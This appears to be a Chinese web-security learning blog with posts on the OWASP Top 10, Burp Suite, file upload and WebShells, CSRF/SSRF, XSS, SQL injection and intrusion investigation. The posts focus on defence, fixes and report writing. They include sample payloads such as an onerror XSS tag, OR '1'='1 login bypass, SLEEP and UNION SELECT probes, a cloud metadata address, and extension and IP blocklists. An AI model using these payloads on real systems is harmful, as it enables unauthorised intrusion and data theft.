URL 预览
截图接口
Webhook 配置

防御重点：URL 白名单、禁止内网地址、关闭自动跳转。

影响与修复要点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


A01 访问控制失效：服务端鉴权 + 对象级授权
A02 加密失效：强算法 + 密钥管理
A03 注入：参数化 + 输入校验
A04 不安全设计：威胁建模 + 安全设计
A05 安全配置错误：基线 + 最小化
A06 过时组件：版本升级 + 漏洞监控
A07 认证失效：强认证 + 会话安全
A08 完整性故障：签名 + 校验
A09 日志监控不足：告警 + 响应
A10 SSRF：URL 白名单 + 内网隔离

小结

OWASP Top 10 不是一份漏洞列表，而是风险分类。理解它的价值在于知道真实项目中最常见的失败模式在哪里。

Burp Suite 基础

Sat, 29 Aug 2026 05:25:00 +0800

写在前面：合法学习边界

Burp Suite 是 Web 安全测试中常用的代理与测试工具。本文只讲解在授权范围内如何使用。请不要把代理抓包、请求篡改、爆破或漏洞验证用于未经授权的网站、企业内网或其他人系统。所有操作都应限定在自建靶场、公司授权测试环境或明确书面授权的目标上。

一、Burp Suite 是什么

Burp Suite 本质是一个 HTTP/HTTPS 代理和 Web 安全测试平台。它能截获浏览器与服务器之间的请求，修改请求，重放请求，帮助分析应用行为。

核心模块包括：

1
2
3
4
5
6
7


Proxy
Repeater
_intruder
scanner
decoder
comparator
extender

二、基本工作流

1. 配置浏览器代理

将浏览器代理指向本机代理端口，例如：

1

127.0.0.1:8080

2. 开启代理

在 Burp 的 Proxy 模块中启用 HTTP/HTTPS 代理。

3. 安装证书

HTTPS 抓包需要安装 Burp CA 证书，并让浏览器信任它。

4. 抓包与分析

访问目标后，可在 Proxy 中看到请求和响应。

三、Repeater 的用途

Repeater 适合手动重放请求，观察参数变化后的响应差异。

常见用途：

1
2
3
4


观察响应差异
测试参数边界
验证鉴权逻辑
测试越权访问

四、_intruder 的用途

_intruder 可用于自动化参数替换，例如字典测试、边界测试、枚举路径。

但必须强调：字典测试和爆破只能在授权范围内进行。

五、Burp Suite 在安全测试中的位置

Burp Suite 不是“自动找漏洞”的魔法工具，而是帮助你观察和验证 Web 行为的工具。真正的判断仍然依赖对业务逻辑、鉴权设计、输入处理和错误处理的理解。

六、使用建议

1
2
3
4


先理解业务，再测试参数
先看响应，再判断风险
先保留证据，再做进一步验证
不要把自动扫描结果直接当成最终结论

七、小结

Burp Suite 的价值在于可观察、可重放、可分析。它让初学者能看清请求流，也能帮助有经验的人验证边界条件。但工具只是辅助，安全判断仍然要回到业务和逻辑。

文件上传漏洞与 WebShell 原理

Sat, 29 Aug 2026 05:05:00 +0800

写在前面：合法学习边界

本文讲解文件上传漏洞与 WebShell 原理。请不要在真实网站上传木马、绕过上传限制或获取未授权访问。所有测试都应在自建靶场、授权测试环境或明确授权目标上完成。WebShell 属于高风险行为，未经授权上传或执行可能涉及违法犯罪。

一、文件上传漏洞的本质

文件上传漏洞的本质是：系统允许用户上传文件，但没有正确限制文件类型、存储位置、访问路径或执行条件，最终导致恶意文件被保存并能被执行。

它通常包含几个条件：

1
2
3
4
5


上传入口存在
限制可以绕过
文件被保存到 Web 可访问目录
服务器可以解析并执行该文件
攻击者知道访问路径

二、常见绕过点

1. MIME 类型检查

有些系统只检查 Content-Type。修改请求头可能会绕过前端或简单后端检查。

2. 文件扩展名校验

只检查最后扩展名时，某些 Web 服务器可能仍能解析双扩展名、特殊后缀或不常见后缀。

3. 黑名单不完整

黑名单容易遗漏：

1
2
3
4
5
6
7
8
9


php
jsp
jspx
war
asp
aspx
ashx
php3
phtml

4. 上传目录可执行

如果上传文件放在 Web 根目录，并且 PHP/JSP/ASP 能解析，风险会更高。

5. 文件名处理不当

例如保存时使用原文件名，可能带来路径穿越、覆盖或执行风险。

三、WebShell 是什么

WebShell 是可以通过 Web 访问执行的脚本文件。它通常被上传到 Web 目录后，由 Web 服务解释执行。

常见类型：

1
2
3


PHP WebShell
JSP WebShell
ASP WebShell

学习时必须强调：WebShell 不是学习工具，而是攻击后果。真实工作中，发现 WebShell 应立即保留证据、隔离系统、清理后门、分析入侵链路。

四、WebShell 的典型行为

1
2
3
4
5
6


执行命令
读写文件
上传下载文件
创建反弹 Shell
查看数据库
修改配置

因此在应急响应中，发现 WebShell 后不能只删除文件，还要追查：

1
2
3
4
5


谁上传的
从哪里进入
是否已有后门
是否修改计划任务
是否横向移动

影响与危害

文件上传漏洞能造成：

1
2
3
4


上传 WebShell → 服务器沦陷
任意文件写入
存储型 XSS
整站被控制、内网横向

风险等级：高到严重。

五、防御清单

1. 白名单文件类型

只允许真正需要的扩展名，例如：

1
2
3
4
5
6


jpg
png
gif
pdf
docx
xlsx

2. 限制存储位置

上传文件不要放在可执行目录，最好放到对象存储或专门静态资源目录。

3. 重命名文件

不要使用用户原始文件名作为存储文件名。

4. 设置目录不可执行

如果上传目录只需要静态访问，就不要允许脚本执行。

5. WAF 和日志审计

监控上传频率、异常扩展名、异常文件名、异常响应和 WebShell 特征。

修复

1
2
3
4
5


服务端校验扩展名/MIME/文件内容（魔数）
上传目录禁止执行脚本
随机化文件名、限制目录
部署 WAF 并限制上传大小
修复后复测：绕过 payload 不再上传成功

六、报告写法

示例：

1
2
3


发现：上传接口允许 .php 文件进入可执行目录，访问路径可触发脚本执行。
风险：可能导致服务器控制、数据泄露、横向移动和后门驻留。
建议：改为白名单类型；上传目录与执行目录分离；强制重命名；增加 WAF 与日志告警；排查是否已有 WebShell。

七、小结

文件上传漏洞的关键是“文件能不能落地、能不能访问、能不能执行”。WebShell 是上传漏洞被利用后的结果。学习时要理解边界，而不是把命令当成目标。

CSRF 与 SSRF 入门

Sat, 29 Aug 2026 04:55:00 +0800

写在前面：合法学习边界

本文讲解 CSRF 与 SSRF 的原理与防御。请不要对真实站点做绕过测试、内网探测或构造恶意请求。所有验证都必须在自建靶场、公司授权测试环境或明确书面授权的目标上进行。

一、CSRF：利用浏览器信任发起请求

CSRF（跨站请求伪造）的核心是：浏览器在用户已登录某个网站时，会把 Cookie 自动带上；攻击者诱使用户访问恶意页面，恶意页面在用户不知情的情况下向目标站点发起请求。

典型流程：

1
2
3
4
5


1. 用户登录目标站点，获得会话 Cookie
2. 用户访问恶意页面
3. 恶意页面发起一个指向目标站点的请求
4. 浏览器自动附带 Cookie
5. 目标站点误认为请求来自合法用户

CSRF 常见后果：

1
2
3
4
5


改密码
发评论
转账
修改资料
关闭安全设置

二、CSRF 防御

1. CSRF Token

服务端生成一次性 token，表单或请求头中必须携带正确 token 才接受请求。

给 Cookie 设置 SameSite=Lax 或 Strict，限制跨站请求携带 Cookie。

3. Origin / Referer 校验

服务端检查请求来源是否可信。

4. 重要操作二次确认

例如转账、改密、删除等动作要求再次输入密码或验证码。

影响与危害

CSRF 与 SSRF 造成的影响：

1
2


CSRF：在用户不知情下执行敏感操作（改密、转账、删数据）
SSRF：服务器成为跳板，访问内网/云元数据/扫描内部端口

SSRF 常被用来打内网和云平台（如 169.254.169.254 元数据）。风险等级：中到高。

三、SSRF：让服务器替你访问别的地址

SSRF（服务端请求伪造）的核心是：服务器根据用户提供的 URL 发起请求，结果访问了内部地址或其他敏感目标。

常见场景：

1
2
3
4
5


URL 预览
截图服务
Webhook 回调
图片代理
文件下载

SSRF 可能访问：

1
2
3
4


内网服务
元数据接口
Redis/MySQL 等本地服务
内部管理页面

四、SSRF 防御

1. 严格白名单

只允许访问预期域名或 IP 范围。

2. 禁止内网地址

拒绝：

1
2
3
4
5
6


127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
0.0.0.0

3. 禁用自动重定向

防止通过 302 跳转到内网地址。

4. 超时与频率限制

避免成为请求放大或探测跳板。

5. 输出与日志审计

记录被访问的 URL、响应状态和调用来源。

修复

1
2
3


CSRF：校验 Referer/Origin + 使用 CSRF Token + SameSite Cookie
SSRF：服务端 URL 白名单、禁止访问内网地址、禁用重定向跟随、对响应做过滤
修复后复测：跨站请求被拦截、内网访问被阻断

五、CSRF 与 SSRF 在报告中的写法

好的报告要写出触发条件、影响和修复建议。

CSRF 示例：

1
2
3


发现：修改资料接口未校验 CSRF Token，已登录用户在恶意页面可被诱导修改资料。
风险：可能导致账户设置被篡改。
建议：增加 CSRF Token；启用 SameSite；关键操作二次验证。

SSRF 示例：

1
2
3


发现：图片预览接口允许访问任意 URL，可访问内网服务地址。
风险：可能导致内网探测、敏感信息泄露或横向移动。
建议：限制可访问域名；禁止内网地址；关闭自动重定向；增加日志告警。

六、小结

CSRF 和 SSRF 都是“服务器信任了什么不该信任的东西”。理解请求来源、Cookie 携带机制和服务端转发边界，是看懂这两类漏洞的关键。后续做日志分析、WAF 和渗透测试时，它们都会反复出现。

XSS 原理与防御

Sat, 29 Aug 2026 04:45:00 +0800

写在前面：合法学习边界

本文讲解 XSS 的原理与防御。所有示例只用于理解漏洞触发机制，不能直接用于真实网站攻击。任何 XSS 测试都必须在自建靶场、公司授权测试环境或明确书面授权的目标上进行。未经授权窃取 Cookie、劫持会话、执行脚本或读取用户数据，可能违反《网络安全法》《数据安全法》《个人信息保护法》和《刑法》相关规定。

一、XSS 的本质

XSS（跨站脚本攻击）的本质是：浏览器把攻击者提供的输入当成可执行 JavaScript 执行了。

它利用的是浏览器的信任机制：

1
2
3


网页内容由服务器返回
脚本来自网页自身
浏览器默认信任同域脚本

如果后端或前端把用户输入直接插入页面，且没有正确处理上下文，攻击者就可能把一段脚本塞进页面中。

二、XSS 的常见类型

1. 存储型 XSS

恶意脚本被保存到服务器，例如评论、个人资料、商品描述、上传文件名。后续访问者打开页面时都会执行脚本。

存储型 XSS 危害通常更大，因为影响范围更广。

2. 反射型 XSS

恶意脚本通过 URL 参数、搜索框、表单回显进入页面，不会保存下来，但特定链接被打开时可能执行。

反射型 XSS 常用于钓鱼和会话劫持。

3. DOM 型 XSS

恶意脚本发生在浏览器端。页面 JS 把某个 DOM 值写入 innerHTML、document.write 或事件属性，浏览器执行了其中的脚本。

DOM 型 XSS 常见于：

1
2
3
4


URL hash 处理
前端路由参数
搜索框回显
富文本编辑器

三、为什么“编码”是关键

XSS 不是简单的“有 <script> 就危险”。危险来自“上下文”。

不同上下文的编码规则不同：

1
2
3
4
5


HTML 文本上下文
HTML 属性上下文
JavaScript 字符串上下文
URL 上下文
CSS 上下文

正确防御是：

1
2
3


在输出时按上下文编码
不要盲目信任前端框架
不要把所有输出都当成安全

四、常见危险点

1. innerHTML

1

element.innerHTML = userInput

如果 userInput 中包含 <img onerror="...">，浏览器可能执行脚本。

2. document.write

旧式脚本中常见：

1

document.write(userInput)

这种写法容易破坏页面安全边界。

3. 事件属性

1

<img src=x onerror="alert(1)">

事件属性是常见触发点。

4. URL 跳转

某些旧系统会把用户输入直接放入 href 或 location.href。如果上下文没处理好，也可能成为 XSS 入口。

影响与危害

XSS 能造成：

1
2
3
4


窃取 Cookie/会话（账号被劫持）
钓鱼与页面篡改
键盘记录
配合 CSRF 执行恶意操作

存储型 XSS 影响所有访问该页面的用户。风险等级：中到高。

五、防御方法

1. 输出编码

按上下文进行输出编码，是 XSS 防御的核心。

2. 输入校验

输入校验可以减少风险，但不应作为唯一防线。它更多是业务层保护。

3. 安全的 DOM API

避免直接写入 HTML，优先使用文本安全 API。

4. CSP

内容安全策略（CSP）可以限制脚本来源，降低 XSS 影响。

给敏感 Cookie 设置：

1
2
3


HttpOnly
Secure
SameSite

即使脚本执行，也不要让它轻易拿到 Cookie。

6. 最小权限和最小暴露

后台、评论、个人资料、富文本编辑器都要做专门审查。

修复

1
2
3
4
5


输出编码（上下文敏感：HTML/属性/JS 分别编码）
输入白名单校验
设置 CSP 降低执行面
HttpOnly 防 Cookie 被窃取
修复后复测：注入 payload 不再被执行

六、XSS 在报告中的正确写法

好的报告要写出触发条件、影响和建议。

示例：

1
2
3


发现：评论区输入 <img src=x onerror="alert(1)"> 会在其他用户页面执行脚本。
风险：可能造成会话劫持、钓鱼、数据读取和页面篡改。
建议：输出编码；启用 CSP；限制富文本标签；敏感 Cookie 设置 HttpOnly、Secure、SameSite。

不要只写“存在 XSS”。要写清楚触发路径和影响。

七、小结

XSS 的核心不是“能不能注入标签”，而是“浏览器在哪个上下文执行了这段输入”。理解上下文，才能同时理解防御和绕过。后续学习 CSRF、SSRF、WAF 和日志分析时，都会回到 XSS 的上下文思维。

SQL 注入原理与防御

Sat, 29 Aug 2026 04:35:00 +0800

写在前面：合法学习边界

本文讲解 SQL 注入的原理与防御。所有示例都用于理解漏洞形成过程，不代表你可以对真实网站、数据库或企业系统实施攻击。漏洞验证必须在自建靶场、公司授权测试环境或明确书面授权的目标上完成。未经授权访问、篡改、读取数据库数据可能触犯《网络安全法》《数据安全法》《个人信息保护法》和《刑法》相关规定。

一、为什么 SQL 注入一直是高频漏洞

SQL 注入的本质是：程序把用户输入拼接到 SQL 语句里，数据库把这段输入当成 SQL 代码执行了。

很多开发者写查询时会这样想：

1

SELECT * FROM users WHERE username = 'admin'

如果后端直接拼接用户输入：

1

SELECT * FROM users WHERE username = '" + username + "'"

而用户输入：

1

admin' OR '1'='1

最终可能变成：

1

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

数据库会把它理解成一个永远为真的条件，从而绕过登录判断。

安全学习的关键不是记住 ' OR 1=1，而是理解：

1

输入没有被当作数据，而被当成了逻辑或命令的一部分

二、SQL 注入的常见类型

1. 基于错误的注入

数据库返回错误信息，泄露表名、字段名、SQL 结构甚至系统路径。

例子：

1

Unknown column 'id' in 'field list'

这种报错通常说明数据库参数、字段或查询结构有问题，但真正利用需要授权环境。

2. 基于布尔盲注

页面只有两种状态，比如成功/失败、有数据/无数据。攻击者通过构造条件逐位猜解信息。

例如：

1
2


id=1 AND 1=1
id=1 AND 1=2

通过页面差异判断条件真假。

3. 基于时间盲注

页面没有明显差异，但响应时间不同。常见做法是构造慢查询条件。

例如：

1

id=1 AND SLEEP(5)

这类技术需要谨慎理解，真实使用只能在授权靶场。

4. 基于联合查询的注入

当查询结果被直接展示在页面上，攻击者可能尝试把其他表的数据带进页面。

典型结构是：

1

UNION SELECT table_name FROM information_schema.tables

这是理解原理时的常见写法，不能直接在真实网站执行。

三、为什么很多系统会中招

SQL 注入往往不是单点问题，而是工程习惯问题。

常见原因包括：

1
2
3
4
5
6


拼接 SQL
没有统一输入处理
没有最小权限数据库账号
错误信息直接暴露给用户
没有 WAF 或日志审计
代码复用多个查询模板

尤其是老系统、后台系统、导出功能、搜索功能和订单查询功能，都容易出现输入直接进入查询的地方。

影响与危害

SQL 注入能造成：

1
2
3
4


登录绕过
数据库数据泄露（脱库）
篡改数据
执行系统命令（配合堆叠查询/存储过程）

严重时直接导致整个数据库甚至服务器沦陷。风险等级：高到严重。

四、防御思路

1. 参数化查询

这是最有效、最通用的防御方式。核心思想是把参数交给驱动，而不是拼接字符串。

伪代码：

1
2


query = "SELECT * FROM users WHERE username = ?"
params = [username]

不要把用户输入直接拼进 SQL 文本。

2. 输入校验

输入校验能减少风险，但不应成为唯一防线。正确做法是：

1
2
3
4


限制格式
限制长度
限制枚举值
按业务校验类型

但真正的安全边界应该在数据库访问层。

3. 最小权限

数据库账号不要直接给管理员权限。只给应用真正需要的权限，例如：

1
2
3


SELECT
INSERT
UPDATE

不要给：

1
2
3
4
5


GRANT
FILE
SUPER
DROP
ALTER

4. 错误信息控制

生产环境不要把原始 SQL 错误、堆栈和数据库结构直接展示给用户。应该记录服务端日志，对用户返回友好错误。

5. 审计和监控

关注这些现象：

1
2
3
4


参数中频繁出现 SQL 关键字
大量 500 错误
登录失败后请求模式异常
导出接口被频繁调用

修复

1
2
3
4
5


改用参数化查询/预处理语句（最根本）
数据库账号最小权限，禁用 FILE/SUPER 等
关闭错误信息回显
对历史代码排查拼接 SQL
修复后复测：拼接 payload 不再生效

五、SQL 注入在报告中的正确写法

好的报告需要说清证据、影响和建议。

示例：

1
2
3


发现：搜索参数 q 的值会拼接到 SQL 查询，错误页面显示原始 SQL 片段。
风险：可能导致登录绕过、数据泄露、条件查询异常。
建议：改为参数化查询；限制数据库账号权限；关闭错误信息泄露；补充 WAF 与日志审计。

不要只写“存在 SQL 注入风险”，要有验证依据。

六、小结

SQL 注入的核心不是工具，而是输入与查询边界。凡是用户输入最终进入 SQL 的地方，都要优先采用参数化查询、最小权限和错误控制。理解了这个边界，XSS、SSRF、文件上传和日志分析也会更容易看懂。

Linux/Windows 入侵排查指南

Fri, 26 Sep 2025 10:30:48 +0800

Linux/Windows 入侵排查指南

🐧 Linux 入侵排查思路

步骤	检查项目	具体操作	关键文件/命令
1	分析安全日志	检查SSH爆破和异常登录	`/var/log/secure`
2	检查系统账户	排查恶意新增用户	`/etc/passwd`
3	分析命令历史	查看恶意命令执行记录	`~/.bash_history`
4	检查Root邮箱	日志被删时的补充分析	`/var/spool/mail/root`
5	分析中间件日志	Web攻击痕迹排查	`access_log`等
6	检查登录日志	成功/失败登录分析	`last`/`lastb`
7	分析计划任务	可疑定时任务排查	`/var/log/cron`
8	分析操作历史	系统命令审计	`history`日志
9	数据库日志分析	数据库安全审计	Redis/MySQL/Oracle等日志

🪟 Windows 入侵排查思路

步骤	检查项目	具体操作	工具/命令
1	账号安全检查	弱口令、网络连接、进程分析	`Netstat`, `tasklist`
2	登录日志分析	成功/失败登录事件筛查	事件ID: 4776, 4624
3	系统账户排查	可疑账户检查	`lusrmgr.msc`
4	本地用户组检查	隐藏账户检测	`compmgmt.msc`
5	管理员行为分析	登录时间异常分析	Log Parser
6	计划任务排查	可疑定时任务检查	`taskschd.msc`
7	近期文件分析	最近访问文件检查	`%UserProfile%\Recent`
8	中间件日志分析	Web攻击痕迹排查	Tomcat/Apache日志
9	近期修改文件	文件变更时间线分析	`%UserProfile%\Recent`